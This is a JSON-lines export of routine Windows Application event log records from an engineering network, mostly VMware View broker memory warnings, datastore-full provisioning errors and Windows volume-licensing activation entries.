{"@timestamp":1652900378375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168739}}
{"@timestamp":1652925026209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu May 19 03:50:26 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168740}}
{"@timestamp":1652961891371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168741}}
{"@timestamp":1652968230371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu May 19 15:50:30 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168742}}
{"@timestamp":1653011434409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri May 20 03:50:34 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168743}}
{"@timestamp":1653019803084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168744}}
{"@timestamp":1653054638462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri May 20 15:50:38 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168745}}
{"@timestamp":1653078135036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168746}}
{"@timestamp":1653097842547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat May 21 03:50:42 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168747}}
{"@timestamp":1653136766911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168748}}
{"@timestamp":1653141046689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat May 21 15:50:46 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168749}}
{"@timestamp":1653184250731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun May 22 03:50:50 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168750}}
{"@timestamp":1653199059579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168751}}
{"@timestamp":1653227454894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun May 22 15:50:54 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168752}}
{"@timestamp":1653257091529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168753}}
{"@timestamp":1653270658941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon May 23 03:50:58 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168754}}
{"@timestamp":1653304929420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_PROVISIONING_SVI_DATASTORE_FULL_FAULT\nView Composer Datastore Fault: Not enough disk space for VM vm-4102\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=ERROR\n\tTime=Mon May 23 13:22:09 CEST 2022\n\tSVIVMID=vm-4102\n\tModule=Broker\n\tSource=com.vmware.vdi.svisupport.SVIException\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168755}}
{"@timestamp":1653304929427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_PROVISIONING_SVI_ERROR_REFIT_FAILED\nProvisioning error occurred for Machine vm-4102: Refit operation resync failed\n\nAttributes:\n\tMachineId=58bbf3ed-9553-45cd-8af0-1fac6ef1a9b7\n\tMachineName=vm-4102\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=ERROR\n\tTime=Mon May 23 13:22:09 CEST 2022\n\tSVIOperation=resync\n\tModule=Broker\n\tSource=com.vmware.vdi.desktopcontroller.PendingOperation\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168756}}
{"@timestamp":1653305561029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_PROVISIONING_SVI_DATASTORE_FULL_FAULT\nView Composer Datastore Fault: Not enough disk space for VM vm-4102\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=ERROR\n\tTime=Mon May 23 13:32:41 CEST 2022\n\tSVIVMID=vm-4102\n\tModule=Broker\n\tSource=com.vmware.vdi.svisupport.SVIException\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168757}}
{"@timestamp":1653305561043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_PROVISIONING_SVI_ERROR_REFIT_FAILED\nProvisioning error occurred for Machine vm-4102: Refit operation resync failed\n\nAttributes:\n\tMachineId=143a2f01-9906-4b41-8e61-01cfbd035f22\n\tMachineName=vm-4102\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=ERROR\n\tTime=Mon May 23 13:32:41 CEST 2022\n\tSVIOperation=resync\n\tModule=Broker\n\tSource=com.vmware.vdi.desktopcontroller.PendingOperation\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168758}}
{"@timestamp":1653306582553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_PROVISIONING_SVI_DATASTORE_FULL_FAULT\nView Composer Datastore Fault: Not enough disk space for VM vm-4102\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=ERROR\n\tTime=Mon May 23 13:49:42 CEST 2022\n\tSVIVMID=vm-4102\n\tModule=Broker\n\tSource=com.vmware.vdi.svisupport.SVIException\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168759}}
{"@timestamp":1653306582573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_PROVISIONING_SVI_ERROR_REFIT_FAILED\nProvisioning error occurred for Machine vm-4102: Refit operation resync failed\n\nAttributes:\n\tMachineId=efefa23f-2210-4919-88c5-f72e77f8eb0c\n\tMachineName=vm-4102\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=ERROR\n\tTime=Mon May 23 13:49:42 CEST 2022\n\tSVIOperation=resync\n\tModule=Broker\n\tSource=com.vmware.vdi.desktopcontroller.PendingOperation\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168760}}
{"@timestamp":1653313862984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon May 23 15:51:02 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168761}}
{"@timestamp":1653321004437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168762}}
{"@timestamp":1653357067035,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue May 24 03:51:07 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168763}}
{"@timestamp":1653383957279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168764}}
{"@timestamp":1653400271069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue May 24 15:51:11 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168765}}
{"@timestamp":1653419687399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4111,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["‎Wednesday, ‎May ‎11, ‎2022 11:29:46 AM"]}}},"module":"Application","provider":"Microsoft-Windows-CAPI2","sequence":168766}}
{"@timestamp":1653442709053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168767}}
{"@timestamp":1653443475149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed May 25 03:51:15 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168768}}
{"@timestamp":1653486678973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed May 25 15:51:18 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168769}}
{"@timestamp":1653492312627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/11/14:15:25:12;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168770}}
{"@timestamp":1653492313743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"0000060055AC52F34EF5AFB916DE1F53B2DE088A6B6A2C801F4837E96B93EA37EC27A37C286BACE9F2E2A24165356483C1681908DFBE0FBC438A8DF14B57120BC1C089C97C6BF29F1470DE6516EC4D664F1F7A2E39BBBB5346F7F9533FB039342D0B8FE87A458FB821245303A2DB995430AB222C3F398A582C21A3C99292F5FCF55784B124DE61646620F674339AD05A15CFA18D89E4230C97B31BD73EDF4D884A76E89AA0223DE86E7262E80371210D8E6BAC90718CB23D94EE95C150A737A542455B171686D4822080A027040EEE8A8488E706F6EB02DF210CC570363BEDDC93B151ADD90A37CEE909C0DBB830CA3E815B96765B4020B96429235133B4238BE5D6672F","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/05/25 15:25, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168771}}
{"@timestamp":1653492313866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"0000060008BDDCC40C1B8F8E90E245F332341D6105B853782B7D38ABD4EFB0C99B1624E316B905AA4327A63EE7205C7A38995BA1071B6794B2A2CBB98F42B4EB90F111E6820A861785831F6D62F4FECAACE44E587800C08ABE369027F6C4D568B979A33CD5C29D35792D2D8521C01463EE977B774587AE9B5508376E414E84767717BA68102B155C0484A48D39F2F7A8EF338C29EB7B95677BD5EF77ED4410CC3A7501E8CA1FEF0223C83201B0DC6B61F02AADF23B5AABE05960B1F473E3AF06B9BBBCA48655CB7A571EFE7252E939A852FF2146548E4884BBDE192A35E1938F1F3B017E22F9AFC35322E140B19B2F23ACEAA31227A72A973AE24DE8498015FE78B691AB","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/05/25 15:25"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168772}}
{"@timestamp":1653492314000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168773}}
{"@timestamp":1653492314002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168774}}
{"@timestamp":1653492314004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168775}}
{"@timestamp":1653492314061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168776}}
{"@timestamp":1653492314162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168777}}
{"@timestamp":1653492314187,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168778}}
{"@timestamp":1653492314408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/11/21:15:25:14;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168779}}
{"@timestamp":1653492314434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168780}}
{"@timestamp":1653492344486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-06-01T15:24:44Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168781}}
{"@timestamp":1653498641114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168782}}
{"@timestamp":1653529883429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu May 26 03:51:23 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168783}}
{"@timestamp":1653532935036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4097,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["CN=ISRG Root X1, O=Internet Security Research Group, C=US","CABD2A79A1076A31F21D253635CB039D4329A5E8"]}}},"module":"Application","provider":"Microsoft-Windows-CAPI2","sequence":168784}}
